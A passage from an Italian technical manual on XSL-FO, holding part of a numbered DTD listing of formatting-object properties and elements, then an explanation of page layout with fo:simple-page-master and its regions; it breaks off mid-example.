```

```
682                         | ignore-if-after-linefeed
683                         | ignore-if-surrounding-linefeed | inherit)
684         #IMPLIED">
685
686     <!ENTITY % span  "
687         span  (none | all | inherit)  #IMPLIED">
688
689     <!ENTITY % speak  "
690         speak  (normal | none | spell-out | inherit)  #IMPLIED">
691
692     <!ENTITY % speak-header  "
693         speak-header  (once | always | inherit)  #IMPLIED">
694
695     <!ENTITY % speak-numeral  "
696         speak-numeral  (digits | continuous | inherit)  #IMPLIED">
697
698     <!ENTITY % speak-punctuation  "
699         speak-punctuation  (code | none | inherit)  #IMPLIED">
700
701     <!ENTITY % speech-rate  "
702         speech-rate  CDATA  #IMPLIED">
703
704     <!ENTITY % src  "
705         src  CDATA  #REQUIRED">
706
707     <!ENTITY % start-indent  "
708         start-indent  CDATA  #IMPLIED">
709
710     <!ENTITY % starting-state  "
711         starting-state  (show | hide)  #IMPLIED">
712
713     <!ENTITY % starts-row  "
714         starts-row  (true | false)  #IMPLIED">
715
716     <!ENTITY % stress  "
717         stress  CDATA  #IMPLIED">
718
719     <!ENTITY % suppress-at-line-break  "
720         suppress-at-line-break  (auto | suppress | retain | inherit)  #IMPLIED">
721
722     <!ENTITY % switch-to  "
723         switch-to  CDATA  #IMPLIED">
724
725     <!ENTITY % table-layout  "
726         table-layout  (auto | fixed | inherit)  #IMPLIED">
727
728     <!ENTITY % table-omit-footer-at-break  "
729         table-omit-footer-at-break  (true | false)  #IMPLIED">
730
731     <!ENTITY % table-omit-header-at-break  "
732         table-omit-header-at-break  (true | false)  #IMPLIED">
733
734     <!ENTITY % target-presentation-context  "
735         target-presentation-context  CDATA  #IMPLIED">
736
737     <!ENTITY % target-processing-context  "
738         target-processing-context  CDATA  #IMPLIED">
```

```
739
740   <!ENTITY % target-stylesheet  "
741       target-stylesheet  CDATA  #IMPLIED">
742
743   <!ENTITY % text-align  "
744       text-align  CDATA  #IMPLIED">
745
746   <!ENTITY % text-align-last  "
747       text-align-last  (relative | start | center | end | justify | inside
748                        | outside | left | right | inherit)
749       #IMPLIED">
750
751   <!ENTITY % text-altitude  "
752       text-altitude  CDATA  #IMPLIED">
753
754   <!ENTITY % text-decoration  "
755       text-decoration  NMTOKENS  #IMPLIED">
756
757   <!ENTITY % text-depth  "
758       text-depth  CDATA  #IMPLIED">
759
760   <!ENTITY % text-indent  "
761       text-indent  CDATA  #IMPLIED">
762
763   <!ENTITY % text-shadow  "
764       text-shadow  CDATA  #IMPLIED">
765
766   <!ENTITY % text-transform  "
767       text-transform  (capitalize | uppercase | lowercase | none | inherit)
768       #IMPLIED">
769
770   <!ENTITY % top  "
771       top  CDATA  #IMPLIED">
772
773   <!ENTITY % treat-as-word-space  "
774       treat-as-word-space  (auto | true | false | inherit)  #IMPLIED">
775
776   <!ENTITY % unicode-bidi  "
777       unicode-bidi  (normal | embed | bidi-override | inherit)  #IMPLIED">
778
779   <!ENTITY % vertical-align  "
780       vertical-align  CDATA  #IMPLIED">
781
782   <!ENTITY % visibility  "
783       visibility  (visible | hidden | collapse | inherit)  #IMPLIED">
784
785   <!ENTITY % voice-family  "
786       voice-family  CDATA  #IMPLIED">
787
788   <!ENTITY % volume  "
789       volume  CDATA  #IMPLIED">
790
791   <!ENTITY % white-space  "
792       white-space  (normal | pre | nowrap | inherit)  #IMPLIED">
793
794   <!ENTITY % white-space-collapse  "
795       white-space-collapse  (false | true | inherit)  #IMPLIED">
```

```
796
797 <!ENTITY % widows  "
798     widows  CDATA  #IMPLIED">
799
800 <!ENTITY % width  "
801     width  CDATA  #IMPLIED">
802
803 <!ENTITY % word-spacing  "
804     word-spacing  CDATA  #IMPLIED">
805
806 <!ENTITY % wrap-option  "
807     wrap-option  (no-wrap | wrap | inherit)  #IMPLIED">
808
809 <!ENTITY % writing-mode  "
810     writing-mode  (lr-tb | rl-tb | tb-rl | lr | rl | tb | inherit)  #IMPLIED">
811
812 <!ENTITY % xml:lang  "
813     xml:lang  CDATA  #IMPLIED">
814
815 <!ENTITY % z-index  "
816     z-index  CDATA  #IMPLIED">
817
818 <!-- ================================================================ -->
819 <!-- PROPERTY GROUP                                                   -->
820 <!-- ================================================================ -->
821
822 <!ENTITY % common-accessibility-properties  "
823     %role;
824     %source-document;">
825
826 <!ENTITY % common-absolute-position-properties  "
827     %absolute-position;
828     %top;
829     %right;
830     %bottom;
831     %left;">
832
833 <!ENTITY % common-aural-properties  "
834     %azimuth;
835     %cue-after;
836     %cue-before;
837     %elevation;
838     %pause-after;
839     %pause-before;
840     %pitch;
841     %pitch-range;
842     %play-during;
843     %richness;
844     %speak;
845     %speak-header;
846     %speak-numeral;
847     %speak-punctuation;
848     %speech-rate;
849     %stress;
850     %voice-family;
851     %volume;">
852
```

```
853  <!ENTITY % common-border-padding-and-background-properties  "
854      %background-attachment;
855      %background-color;
856      %background-image;
857      %background-repeat;
858      %background-position-horizontal;
859      %background-position-vertical;
860      %border-before-color;
861      %border-before-style;
862      %border-before-width;
863      %border-after-color;
864      %border-after-style;
865      %border-after-width;
866      %border-start-color;
867      %border-start-style;
868      %border-start-width;
869      %border-end-color;
870      %border-end-style;
871      %border-end-width;
872      %border-top-color;
873      %border-top-style;
874      %border-top-width;
875      %border-bottom-color;
876      %border-bottom-style;
877      %border-bottom-width;
878      %border-left-color;
879      %border-left-style;
880      %border-left-width;
881      %border-right-color;
882      %border-right-style;
883      %border-right-width;
884      %padding-before;
885      %padding-after;
886      %padding-start;
887      %padding-end;
888      %padding-top;
889      %padding-bottom;
890      %padding-left;
891      %padding-right;">
892
893  <!ENTITY % common-font-properties  "
894      %font-family;
895      %font-selection-strategy;
896      %font-size;
897      %font-stretch;
898      %font-size-adjust;
899      %font-style;
900      %font-variant;
901      %font-weight;">
902
903  <!ENTITY % common-hyphenation-properties  "
904      %country;
905      %language;
906      %script;
907      %hyphenate;
908      %hyphenation-character;
909      %hyphenation-push-character-count;
```

```
910        %hyphenation-remain-character-count;">
911
912    <!ENTITY % common-margin-properties-block  "
913        %margin-top;
914        %margin-bottom;
915        %margin-left;
916        %margin-right;
917        %space-before;
918        %space-after;
919        %start-indent;
920        %end-indent;">
921
922    <!ENTITY % common-margin-properties-inline  "
923        %space-end;
924        %space-start;">
925
926    <!ENTITY % common-relative-position-properties  "
927        %relative-position;
928        %top;
929        %right;
930        %bottom;
931        %left;">
932
933    <!-- ================================================================ -->
934    <!-- ELEMENT                                                          -->
935    <!-- ================================================================ -->
936
937    <!ELEMENT fo:basic-link
938        (#PCDATA|%inline;|%block;)*>
939    <!ATTLIST fo:basic-link
940        %common-accessibility-properties;
941        %common-aural-properties;
942        %common-border-padding-and-background-properties;
943        %common-margin-properties-inline;
944        %common-relative-position-properties;
945        %alignment-adjust;
946        %alignment-baseline;
947        %baseline-shift;
948        %destination-placement-offset;
949        %dominant-baseline;
950        %external-destination;
951        %id;
952        %indicate-destination;
953        %internal-destination;
954        %keep-together;
955        %keep-with-next;
956        %keep-with-previous;
957        %line-height;
958        %line-height-shift-adjustment;
959        %show-destination;
960        %target-processing-context;
961        %target-presentation-context;
962        %target-stylesheet;>
963
964    <!ELEMENT fo:bidi-override
965        (#PCDATA|%inline;|%block;)*>
966    <!ATTLIST fo:bidi-override
```

```
967         %common-aural-properties;
968         %common-font-properties;
969         %common-relative-position-properties;
970         %color;
971         %direction;
972         %id;
973         %letter-spacing;
974         %line-height;
975         %line-height-shift-adjustment;
976         %score-spaces;
977         %text-shadow;
978         %text-transform;
979         %unicode-bidi;
980         %word-spacing;>
981
982     <!ELEMENT fo:block
983         (#PCDATA|%inline;|%block;)*>
984     <!ATTLIST fo:block
985         %common-accessibility-properties;
986         %common-aural-properties;
987         %common-border-padding-and-background-properties;
988         %common-font-properties;
989         %common-hyphenation-properties;
990         %common-margin-properties-block;
991         %common-relative-position-properties;
992         %break-after;
993         %break-before;
994         %color;
995         %text-depth;
996         %text-altitude;
997         %hyphenation-keep;
998         %hyphenation-ladder-count;
999         %id;
1000        %keep-together;
1001        %keep-with-next;
1002        %keep-with-previous;
1003        %last-line-end-indent;
1004        %linefeed-treatment;
1005        %line-height;
1006        %line-height-shift-adjustment;
1007        %line-stacking-strategy;
1008        %orphans;
1009        %space-treatment;
1010        %span;
1011        %text-align;
1012        %text-align-last;
1013        %text-indent;
1014        %visibility;
1015        %white-space-collapse;
1016        %widows;
1017        %wrap-option;
1018        %z-index;>
1019
1020    <!ELEMENT fo:block-container
1021        (%block;)+>
1022    <!ATTLIST fo:block-container
1023        %common-absolute-position-properties;
```

```
1024        %common-border-padding-and-background-properties;
1025        %common-margin-properties-block;
1026        %block-progression-dimension;
1027        %break-after;
1028        %break-before;
1029        %clip;
1030        %display-align;
1031        %height;
1032        %id;
1033        %inline-progression-dimension;
1034        %keep-together;
1035        %keep-with-next;
1036        %keep-with-previous;
1037        %overflow;
1038        %reference-orientation;
1039        %span;
1040        %width;
1041        %writing-mode;>
1042
1043    <!ELEMENT fo:character
1044        EMPTY>
1045    <!ATTLIST fo:character
1046        %common-aural-properties;
1047        %common-border-padding-and-background-properties;
1048        %common-font-properties;
1049        %common-hyphenation-properties;
1050        %common-margin-properties-inline;
1051        %common-relative-position-properties;
1052        %alignment-adjust;
1053        %treat-as-word-space;
1054        %alignment-baseline;
1055        %baseline-shift;
1056        %character;
1057        %color;
1058        %dominant-baseline;
1059        %text-depth;
1060        %text-altitude;
1061        %glyph-orientation-horizontal;
1062        %glyph-orientation-vertical;
1063        %id;
1064        %keep-with-next;
1065        %keep-with-previous;
1066        %letter-spacing;
1067        %line-height;
1068        %line-height-shift-adjustment;
1069        %score-spaces;
1070        %suppress-at-line-break;
1071        %text-decoration;
1072        %text-shadow;
1073        %text-transform;
1074        %word-spacing;>
1075
1076    <!ELEMENT fo:color-profile
1077        EMPTY>
1078    <!ATTLIST fo:color-profile
1079        %src;
1080        %color-profile-name;
```

```
1081        %rendering-intent;>
1082
1083    <!ELEMENT fo:conditional-page-master-reference
1084        EMPTY>
1085    <!ATTLIST fo:conditional-page-master-reference
1086        %master-reference;
1087        %page-position;
1088        %odd-or-even;
1089        %blank-or-not-blank;>
1090
1091    <!ELEMENT fo:declarations
1092        (fo:color-profile)+>
1093
1094    <!ELEMENT fo:external-graphic
1095        EMPTY>
1096    <!ATTLIST fo:external-graphic
1097        %common-accessibility-properties;
1098        %common-aural-properties;
1099        %common-border-padding-and-background-properties;
1100        %common-margin-properties-inline;
1101        %common-relative-position-properties;
1102        %alignment-adjust;
1103        %alignment-baseline;
1104        %baseline-shift;
1105        %block-progression-dimension;
1106        %content-height;
1107        %content-type;
1108        %content-width;
1109        %display-align;
1110        %dominant-baseline;
1111        %height;
1112        %id;
1113        %inline-progression-dimension;
1114        %keep-with-next;
1115        %keep-with-previous;
1116        %line-height;
1117        %line-height-shift-adjustment;
1118        %overflow;
1119        %scaling;
1120        %scaling-method;
1121        %src;
1122        %text-align;
1123        %width;>
1124
1125    <!ELEMENT fo:float
1126        (%block;)+>
1127    <!ATTLIST fo:float
1128        %float;
1129        %clear;>
1130
1131    <!ELEMENT fo:flow
1132        (%block;)+>
1133    <!ATTLIST fo:flow
1134        %flow-name;>
1135
1136    <!ELEMENT fo:footnote
1137        (fo:inline,fo:footnote-body)>
```

```
1138
1139  <!ELEMENT fo:footnote-body
1140      (%block;)+>
1141
1142  <!ELEMENT fo:initial-property-set
1143      EMPTY>
1144  <!ATTLIST fo:initial-property-set
1145      %common-accessibility-properties;
1146      %common-aural-properties;
1147      %common-border-padding-and-background-properties;
1148      %common-font-properties;
1149      %common-relative-position-properties;
1150      %color;
1151      %id;
1152      %letter-spacing;
1153      %line-height;
1154      %line-height-shift-adjustment;
1155      %score-spaces;
1156      %text-decoration;
1157      %text-shadow;
1158      %text-transform;
1159      %word-spacing;>
1160
1161  <!ELEMENT fo:inline
1162      (#PCDATA|%inline;|%block;)*>
1163  <!ATTLIST fo:inline
1164      %common-accessibility-properties;
1165      %common-aural-properties;
1166      %common-border-padding-and-background-properties;
1167      %common-font-properties;
1168      %common-margin-properties-inline;
1169      %common-relative-position-properties;
1170      %alignment-adjust;
1171      %alignment-baseline;
1172      %baseline-shift;
1173      %color;
1174      %dominant-baseline;
1175      %id;
1176      %keep-together;
1177      %keep-with-next;
1178      %keep-with-previous;
1179      %line-height;
1180      %line-height-shift-adjustment;
1181      %text-decoration;
1182      %visibility;
1183      %z-index;>
1184
1185  <!ELEMENT fo:inline-container
1186      (%block;)+>
1187  <!ATTLIST fo:inline-container
1188      %common-border-padding-and-background-properties;
1189      %common-margin-properties-inline;
1190      %common-relative-position-properties;
1191      %alignment-adjust;
1192      %alignment-baseline;
1193      %baseline-shift;
1194      %block-progression-dimension;
```

```
1195        %clip;
1196        %display-align;
1197        %dominant-baseline;
1198        %height;
1199        %id;
1200        %inline-progression-dimension;
1201        %keep-together;
1202        %keep-with-next;
1203        %keep-with-previous;
1204        %line-height;
1205        %line-height-shift-adjustment;
1206        %overflow;
1207        %reference-orientation;
1208        %width;
1209        %writing-mode;>
1210
1211    <!ELEMENT fo:instream-foreign-object
1212        ANY>
1213    <!ATTLIST fo:instream-foreign-object
1214        %common-accessibility-properties;
1215        %common-aural-properties;
1216        %common-border-padding-and-background-properties;
1217        %common-margin-properties-inline;
1218        %common-relative-position-properties;
1219        %alignment-adjust;
1220        %alignment-baseline;
1221        %baseline-shift;
1222        %block-progression-dimension;
1223        %content-height;
1224        %content-type;
1225        %content-width;
1226        %display-align;
1227        %dominant-baseline;
1228        %height;
1229        %id;
1230        %inline-progression-dimension;
1231        %keep-with-next;
1232        %keep-with-previous;
1233        %line-height;
1234        %line-height-shift-adjustment;
1235        %overflow;
1236        %scaling;
1237        %scaling-method;
1238        %text-align;
1239        %width;>
1240
1241    <!ELEMENT fo:layout-master-set
1242        (fo:simple-page-master|fo:page-sequence-master)+>
1243
1244    <!ELEMENT fo:leader
1245        (#PCDATA|%inline;)*>
1246    <!ATTLIST fo:leader
1247        %common-accessibility-properties;
1248        %common-aural-properties;
1249        %common-border-padding-and-background-properties;
1250        %common-font-properties;
1251        %common-margin-properties-inline;
```

```
1252        %common-relative-position-properties;
1253        %alignment-adjust;
1254        %alignment-baseline;
1255        %baseline-shift;
1256        %color;
1257        %dominant-baseline;
1258        %text-depth;
1259        %text-altitude;
1260        %id;
1261        %leader-alignment;
1262        %leader-length;
1263        %leader-pattern;
1264        %leader-pattern-width;
1265        %rule-style;
1266        %rule-thickness;
1267        %letter-spacing;
1268        %line-height;
1269        %line-height-shift-adjustment;
1270        %text-shadow;
1271        %visibility;
1272        %word-spacing;
1273        %z-index;>
1274
1275    <!ELEMENT fo:list-block
1276        (fo:list-item+)>
1277    <!ATTLIST fo:list-block
1278        %common-accessibility-properties;
1279        %common-aural-properties;
1280        %common-border-padding-and-background-properties;
1281        %common-margin-properties-block;
1282        %common-relative-position-properties;
1283        %break-after;
1284        %break-before;
1285        %id;
1286        %keep-together;
1287        %keep-with-next;
1288        %keep-with-previous;
1289        %provisional-distance-between-starts;
1290        %provisional-label-separation;>
1291
1292    <!ELEMENT fo:list-item
1293        (fo:list-item-label,fo:list-item-body)>
1294    <!ATTLIST fo:list-item
1295        %common-accessibility-properties;
1296        %common-aural-properties;
1297        %common-border-padding-and-background-properties;
1298        %common-margin-properties-block;
1299        %common-relative-position-properties;
1300        %break-after;
1301        %break-before;
1302        %id;
1303        %keep-together;
1304        %keep-with-next;
1305        %keep-with-previous;
1306        %relative-align;>
1307
1308    <!ELEMENT fo:list-item-body
```

```
1309        (%block;)+>
1310    <!ATTLIST fo:list-item-body
1311        %common-accessibility-properties;
1312        %id;
1313        %keep-together;>
1314
1315    <!ELEMENT fo:list-item-label
1316        (%block;)+>
1317    <!ATTLIST fo:list-item-label
1318        %common-accessibility-properties;
1319        %id;
1320        %keep-together;>
1321
1322    <!ELEMENT fo:marker
1323        (#PCDATA|%inline;|%block;)*>
1324    <!ATTLIST fo:marker
1325        %marker-class-name;>
1326
1327    <!ELEMENT fo:multi-case
1328        (#PCDATA|%inline;|%block;)*>
1329    <!ATTLIST fo:multi-case
1330        %common-accessibility-properties;
1331        %id;
1332        %starting-state;
1333        %case-name;
1334        %case-title;>
1335
1336    <!ELEMENT fo:multi-properties
1337        (fo:multi-property-set+,fo:wrapper)>
1338    <!ATTLIST fo:multi-properties
1339        %common-accessibility-properties;
1340        %id;>
1341
1342    <!ELEMENT fo:multi-property-set
1343        EMPTY>
1344    <!ATTLIST fo:multi-property-set
1345        %id;
1346        %active-state;>
1347
1348    <!ELEMENT fo:multi-switch
1349        (fo:multi-case+)>
1350    <!ATTLIST fo:multi-switch
1351        %common-accessibility-properties;
1352        %auto-restore;
1353        %id;>
1354
1355    <!ELEMENT fo:multi-toggle
1356        (#PCDATA|%inline;|%block;)*>
1357    <!ATTLIST fo:multi-toggle
1358        %common-accessibility-properties;
1359        %id;
1360        %switch-to;>
1361
1362    <!ELEMENT fo:page-number
1363        EMPTY>
1364    <!ATTLIST fo:page-number
1365        %common-accessibility-properties;
```

```
1366        %common-aural-properties;
1367        %common-border-padding-and-background-properties;
1368        %common-font-properties;
1369        %common-margin-properties-inline;
1370        %common-relative-position-properties;
1371        %alignment-adjust;
1372        %alignment-baseline;
1373        %baseline-shift;
1374        %dominant-baseline;
1375        %id;
1376        %keep-with-next;
1377        %keep-with-previous;
1378        %letter-spacing;
1379        %line-height;
1380        %line-height-shift-adjustment;
1381        %score-spaces;
1382        %text-decoration;
1383        %text-shadow;
1384        %text-transform;
1385        %word-spacing;>
1386
1387    <!ELEMENT fo:page-number-citation
1388        EMPTY>
1389    <!ATTLIST fo:page-number-citation
1390        %common-accessibility-properties;
1391        %common-aural-properties;
1392        %common-border-padding-and-background-properties;
1393        %common-font-properties;
1394        %common-margin-properties-inline;
1395        %common-relative-position-properties;
1396        %alignment-adjust;
1397        %alignment-baseline;
1398        %baseline-shift;
1399        %dominant-baseline;
1400        %id;
1401        %keep-with-next;
1402        %keep-with-previous;
1403        %letter-spacing;
1404        %line-height;
1405        %line-height-shift-adjustment;
1406        %ref-id;
1407        %score-spaces;
1408        %text-decoration;
1409        %text-shadow;
1410        %text-transform;
1411        %word-spacing;>
1412
1413    <!ELEMENT fo:page-sequence
1414        (fo:title?,fo:static-content*,fo:flow)>
1415    <!ATTLIST fo:page-sequence
1416        %country;
1417        %format;
1418        %language;
1419        %letter-value;
1420        %grouping-separator;
1421        %grouping-size;
1422        %id;
```

```
1423        %initial-page-number;
1424        %force-page-count;
1425        %master-reference;>
1426
1427    <!ELEMENT fo:page-sequence-master
1428        (fo:single-page-master-reference|fo:repeatable-page-master-reference
1429        |fo:repeatable-page-master-alternatives)+>
1430    <!ATTLIST fo:page-sequence-master
1431        %master-name;>
1432
1433    <!ELEMENT fo:region-after
1434        EMPTY>
1435    <!ATTLIST fo:region-after
1436        %common-border-padding-and-background-properties;
1437        %clip;
1438        %display-align;
1439        %extent;
1440        %overflow;
1441        %precedence;
1442        %region-name;
1443        %reference-orientation;
1444        %writing-mode;>
1445
1446    <!ELEMENT fo:region-before
1447        EMPTY>
1448    <!ATTLIST fo:region-before
1449        %common-border-padding-and-background-properties;
1450        %clip;
1451        %display-align;
1452        %extent;
1453        %overflow;
1454        %precedence;
1455        %region-name;
1456        %reference-orientation;
1457        %writing-mode;>
1458
1459    <!ELEMENT fo:region-body
1460        EMPTY>
1461    <!ATTLIST fo:region-body
1462        %common-border-padding-and-background-properties;
1463        %common-margin-properties-block;
1464        %clip;
1465        %column-count;
1466        %column-gap;
1467        %display-align;
1468        %overflow;
1469        %region-name;
1470        %reference-orientation;
1471        %writing-mode;>
1472
1473    <!ELEMENT fo:region-end
1474        EMPTY>
1475    <!ATTLIST fo:region-end
1476        %common-border-padding-and-background-properties;
1477        %clip;
1478        %display-align;
1479        %extent;
```

```
1480        %overflow;
1481        %region-name;
1482        %reference-orientation;
1483        %writing-mode;>
1484
1485    <!ELEMENT fo:region-start
1486        EMPTY>
1487    <!ATTLIST fo:region-start
1488        %common-border-padding-and-background-properties;
1489        %clip;
1490        %display-align;
1491        %extent;
1492        %overflow;
1493        %region-name;
1494        %reference-orientation;
1495        %writing-mode;>
1496
1497    <!ELEMENT fo:repeatable-page-master-alternatives
1498        (fo:conditional-page-master-reference+)>
1499    <!ATTLIST fo:repeatable-page-master-alternatives
1500        %maximum-repeats;>
1501
1502    <!ELEMENT fo:repeatable-page-master-reference
1503        EMPTY>
1504    <!ATTLIST fo:repeatable-page-master-reference
1505        %master-reference;
1506        %maximum-repeats;>
1507
1508    <!ELEMENT fo:retrieve-marker
1509        EMPTY>
1510    <!ATTLIST fo:retrieve-marker
1511        %retrieve-class-name;
1512        %retrieve-position;
1513        %retrieve-boundary;>
1514
1515    <!ELEMENT fo:root
1516        (fo:layout-master-set,fo:declarations?,fo:page-sequence+)>
1517    <!ATTLIST fo:root
1518        xmlns:fo  CDATA #REQUIRED
1519        %media-usage;>
1520
1521    <!ELEMENT fo:simple-page-master
1522        (fo:region-body,fo:region-before?,fo:region-after?,fo:region-start?,
1523         fo:region-end?)>
1524    <!ATTLIST fo:simple-page-master
1525        %common-margin-properties-block;
1526        %master-name;
1527        %page-height;
1528        %page-width;
1529        %reference-orientation;
1530        %writing-mode;>
1531
1532    <!ELEMENT fo:single-page-master-reference
1533        EMPTY>
1534    <!ATTLIST fo:single-page-master-reference
1535        %master-reference;>
1536
```

```
1537  <!ELEMENT fo:static-content
1538      (%block;)+>
1539  <!ATTLIST fo:static-content
1540      %flow-name;>
1541
1542  <!ELEMENT fo:table
1543      (fo:table-column*,fo:table-header?,fo:table-footer?,fo:table-body+)>
1544  <!ATTLIST fo:table
1545      %common-accessibility-properties;
1546      %common-aural-properties;
1547      %common-border-padding-and-background-properties;
1548      %common-margin-properties-block;
1549      %common-relative-position-properties;
1550      %block-progression-dimension;
1551      %border-after-precedence;
1552      %border-before-precedence;
1553      %border-collapse;
1554      %border-end-precedence;
1555      %border-separation;
1556      %border-start-precedence;
1557      %break-after;
1558      %break-before;
1559      %id;
1560      %inline-progression-dimension;
1561      %height;
1562      %keep-together;
1563      %keep-with-next;
1564      %keep-with-previous;
1565      %table-layout;
1566      %table-omit-footer-at-break;
1567      %table-omit-header-at-break;
1568      %width;
1569      %writing-mode;>
1570
1571  <!ELEMENT fo:table-and-caption
1572      (fo:table-caption?,fo:table)>
1573  <!ATTLIST fo:table-and-caption
1574      %common-accessibility-properties;
1575      %common-aural-properties;
1576      %common-border-padding-and-background-properties;
1577      %common-margin-properties-block;
1578      %common-relative-position-properties;
1579      %caption-side;
1580      %id;
1581      %keep-together;
1582      %keep-with-next;
1583      %keep-with-previous;>
1584
1585  <!ELEMENT fo:table-body
1586      (fo:table-row+|fo:table-cell+)>
1587  <!ATTLIST fo:table-body
1588      %common-accessibility-properties;
1589      %common-aural-properties;
1590      %common-border-padding-and-background-properties;
1591      %common-relative-position-properties;
1592      %id;>
1593
```

```
1594  <!ELEMENT fo:table-caption
1595      (%block;)+>
1596  <!ATTLIST fo:table-caption
1597      %common-accessibility-properties;
1598      %common-aural-properties;
1599      %common-border-padding-and-background-properties;
1600      %common-relative-position-properties;
1601      %block-progression-dimension;
1602      %height;
1603      %id;
1604      %inline-progression-dimension;
1605      %keep-together;
1606      %width;>
1607
1608  <!ELEMENT fo:table-cell
1609      (%block;)+>
1610  <!ATTLIST fo:table-cell
1611      %common-accessibility-properties;
1612      %common-aural-properties;
1613      %common-border-padding-and-background-properties;
1614      %common-relative-position-properties;
1615      %border-after-precedence;
1616      %border-before-precedence;
1617      %border-end-precedence;
1618      %border-start-precedence;
1619      %block-progression-dimension;
1620      %column-number;
1621      %display-align;
1622      %relative-align;
1623      %empty-cells;
1624      %ends-row;
1625      %height;
1626      %id;
1627      %number-columns-spanned;
1628      %number-rows-spanned;
1629      %starts-row;
1630      %width;>
1631
1632  <!ELEMENT fo:table-column
1633      EMPTY>
1634  <!ATTLIST fo:table-column
1635      %common-border-padding-and-background-properties;
1636      %column-number;
1637      %column-width;
1638      %number-columns-repeated;
1639      %number-columns-spanned;
1640      %visibility;>
1641
1642  <!ELEMENT fo:table-footer
1643      (fo:table-row+|fo:table-cell+)>
1644  <!ATTLIST fo:table-footer
1645      %common-accessibility-properties;
1646      %common-aural-properties;
1647      %common-border-padding-and-background-properties;
1648      %common-relative-position-properties;
1649      %id;>
1650
```

```
1651 <!ELEMENT fo:table-header
1652     (fo:table-row+|fo:table-cell+)>
1653 <!ATTLIST fo:table-header
1654     %common-accessibility-properties;
1655     %common-aural-properties;
1656     %common-border-padding-and-background-properties;
1657     %common-relative-position-properties;
1658     %id;>
1659
1660 <!ELEMENT fo:table-row
1661     (fo:table-cell+)>
1662 <!ATTLIST fo:table-row
1663     %common-accessibility-properties;
1664     %block-progression-dimension;
1665     %common-aural-properties;
1666     %common-border-padding-and-background-properties;
1667     %common-relative-position-properties;
1668     %break-after;
1669     %break-before;
1670     %id;
1671     %height;
1672     %keep-together;
1673     %keep-with-next;
1674     %keep-with-previous;>
1675
1676 <!ELEMENT fo:title
1677     (#PCDATA|%inline;)*>
1678 <!ATTLIST fo:title
1679     %common-accessibility-properties;
1680     %common-aural-properties;
1681     %common-border-padding-and-background-properties;
1682     %common-font-properties;
1683     %common-margin-properties-inline;
1684     %baseline-shift;
1685     %color;
1686     %line-height;
1687     %line-height-shift-adjustment;
1688     %visibility;
1689     %z-index;>
1690
1691 <!ELEMENT fo:wrapper
1692     (#PCDATA|%inline;|%block;)*>
1693 <!ATTLIST fo:wrapper
1694     %id;>
```

64.5 XSL-FO: impaginazione

L'impaginazione secondo XSL-FO viene definita attraverso dei modelli a cui si fa riferimento per mezzo di un nome. Quando si dichiara il modello, l'elemento relativo utilizza l'attributo '**`master-name`**'; quando vi si fa riferimento, l'elemento utilizza l'attributo '**`master-reference`**'.

64.5.1 Impaginazione semplificata

La definizione minima della pagina e del contenuto si ottiene con una struttura XSL-FO simile a quella seguente, dove però non sono ancora stati annotati gli attributi obbligatori:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master>
        ...
        </fo:simple-page-master>
        ...
        <fo:region-body />
    </fo:layout-master-set>
    <fo:page-sequence>
        <fo:flow>
        ...
        </fo:flow>
        ...
    </fo:page-sequence>
    ...
</fo:root>
```

All'interno di '**`fo:layout-master-set`**' si collocano gli elementi che descrivono le caratteristiche delle pagine. Nella situazione più semplice si usano elementi '**`fo:simple-page-master`**', all'interno dei quali si definiscono delle «regioni»:

```
<fo:simple-page-master
    master-name="nome_tipo_impaginazione"
    [page-height="altezza_pagina"]
    [page-width="ampiezza_pagina"]
    [writing-mode="direzione"]
    [space-before="spazio_prima"]
    [space-after="spazio_dopo"]
    [start-indent="rientro_iniziale"]
    [end-indent="rientro_finale"]
    [altri_attributi]>

    regioni

</fo:simple-page-master>
```

Il significato degli attributi mostrati nello schema è abbastanza intuitivo (in modo particolare il problema dei margini delle scatole è già descritto nella sezione 64.3), a parte l'attributo obbligatorio '**`master-name`**', che ha lo scopo di dare un nome al tipo di impaginazione che viene

dichiarato in quel contesto. Successivamente, quando si descrivono le componenti del corpo della pagina, viene fatto riferimento a questo nome per richiamare il tipo di impaginazione desiderato.

All'interno dei margini fissati con gli attributi appropriati dell'elemento '**`fo:simple-page-master`**' si collocano delle regioni, dichiarate attraverso gli elementi '**`fo:region-before`**', '**`fo:region-after`**', '**`fo:region-start`**', '**`fo:region-end`**' e '**`fo:region-body`**'.

Figura 64.68. Regioni all'interno dei margini di una pagina.

fo:region–before
fo:region–start
fo:region–end
fo:region–body
fo:region–after
fo:region–body

Guardando la figura 64.68, che rappresenta lo spazio interno ai margini di una pagina, si deve osservare che la scatola definita dall'elemento '**`fo:region-body`**' contiene, sovrapposte, le altre quattro regioni. Inoltre, è importante osservare i nomi delle regioni, che rappresentano una collocazione relativa alla direzione della scrittura; per esempio, con una scrittura che procede dal basso verso l'altro, si scambiano di posto le regioni '**`fo:region-before`**' e '**`fo:region-after`**' rispetto alla figura; inoltre, una scrittura che procede da destra verso sinistra fa sì che si scambi la collocazione delle regioni dichiarate dagli elementi '**`fo:region-start`**' e '**`fo:region-end`**'.

```
<fo:region-body
    [space-before="spazio_prima"]
    [space-after="spazio_dopo"]
    [start-indent="rientro_iniziale"]
    [end-indent="rientro_finale"]
    [writing-mode="direzione"]
    [reference-orientation="rotazione"]
    [altri_attributi] />
```

```
<fo:region-{before|after|start|end}
    extent="dimensione"
    [writing-mode="direzione"]
    [reference-orientation="rotazione"]
    [altri_attributi] />
```

Gli elementi che dichiarano le regioni sono vuoti. A esclusione dell'elemento '**`fo:region-body`**', gli altri hanno tutti un attributo obbligatorio che ne definisce l'estensione (l'ampiezza per '**`fo:region-start`**' e '**`fo:region-end`**'; l'altezza per '**`fo:region-before`**' e '**`fo:region-after`**').

Nei modelli sintattici mostrati appare un attributo che non è ancora stato preso in considerazione: '**`reference-orientation`**'. Con questo è possibile fa ruotare il contenuto, in multipli di 90 gradi, cosa che può risultare particolarmente utile per il contenuto delle regioni laterali.

Si comprende intuitivamente il significato di queste regioni che si trovano ai bordi del corpo della pagina: consentono di inserire delle intestazioni, dei piè di pagina, delle note a margine e simili. Ciò che è importante è rendersi conto che l'area che descrivono si sovrappone al corpo della pagina; pertanto, solitamente il contenuto che si va a inserire nel corpo viene controllato da margini ulteriori.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master
                master-name="normale"
                page-width="210mm"
